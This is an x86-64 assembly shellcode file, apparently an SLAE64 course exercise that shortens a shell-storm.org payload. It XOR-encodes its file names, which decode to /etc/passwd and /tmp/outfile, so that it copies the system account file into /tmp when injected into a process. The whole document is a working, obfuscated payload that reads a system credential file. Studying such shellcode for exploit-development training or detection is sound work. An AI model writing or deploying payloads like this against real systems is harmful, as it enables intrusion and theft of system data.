; ===================================================================
; Optimized version of shellcode at:
; http://shell-storm.org/shellcode/files/shellcode-867.php
; Author: SLAE64-1351 (Keyman)
; Date: 14/09/2014
;
; Length: 105 bytes (got shorter by 13 bytes)
;
; What's new is that some optimalization was performed on the
; original code which left some space to do a basic decoding of the
; file names. Each byte (except the first one) was xor'ed with the
; value 0x32. The decoder part xor's each byte (except the first)
; with this very same value.
;
; ===================================================================
 
section .text
global _start
 
_start:
        xor rsi, rsi
        jmp string_1
cont_1:
        pop rdi
 
        ; decode
 
        push 24
        pop rcx
decode:
        xor byte [rdi+rcx], 0x32
        loop decode
     
        sub byte [rdi+11], 0x41         ; set last byte to 0x00
        sub byte [rdi+24], 0x41         ; set last byte to 0x00
 
        ; open (1)
 
        push 2
        pop rax
        syscall
 
        push rax
        pop r14             ; source
 
        ; open (2)
 
        add rdi, 12
        push 0x66
        pop rsi
        push 2
        pop rax
        syscall
 
        push rax
        pop r15             ; destination
 
        ; read
 
        xor rax, rax
        push r14
        pop rdi
        push rsp
        pop rsi
        mov dx, 0xFFFF
        syscall
 
        ; write
 
        push rax
        pop rdx
 
        push r15
        pop rdi
 
        push 1
        pop rax
        syscall
 
        ; exit
 
        push 60
        pop rax
        syscall
 
string_1:
    call cont_1
    ; first byte stays the original value
    s_1: db 0x2F, 0x57, 0x46, 0x51, 0x1D, 0x42, 0x53, 0x41, 0x41, 0x45, 0x56, 0x73, 0x1D, 0x46, 0x5F, 0x42, 0x1D, 0x5D, 0x47, 0x46, 0x54, 0x5B, 0x5E, 0x57, 0x73